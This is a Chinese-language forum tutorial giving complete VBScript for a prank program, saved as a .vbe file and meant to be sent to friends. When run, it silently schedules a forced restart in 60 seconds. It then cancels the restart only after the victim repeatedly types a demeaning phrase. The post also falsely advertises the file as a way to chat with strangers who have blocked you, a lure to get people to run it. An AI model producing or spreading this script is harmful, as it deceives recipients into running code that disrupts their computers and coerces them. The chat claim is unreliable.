教你一种另类的关机和整人的小程序 (8/576)

在桌面上

1右击鼠标，

2新建一个“文本文档”

3下把下面的文字复制进去

4保存

5右击新建的文本文档，重命名，把后缀的 点txt 改为，点vbe，记住后缀名一定要是.vbe，ok！

注意：里面的内容什么都不要改，可以很顺利的成功。做好以后，可以直接双击使用也可以发给你的朋友用嘿嘿.

另类的一个小程序就这样制作成功了！

双击它就能和任何陌生人聊天，包括由于骚扰把你加入黑名单的家伙。

======就是下面的文字(这行不用复制)=============================

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是最厉害的毒，不说你是最厉害的毒就一分钟关你机，不信，试试···"" ",0 ,true 
dim a
do while(a <> "你是最厉害的毒")
a = inputbox ("说你是最厉害的毒,就不关机，快撒，说 ""你是最厉害的毒""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾-有毒制作"

=====到这里为止(这行不用复制)==============================================

以后只要双击运行该文件，做人要厚道，成功后别忘了顶一下！！！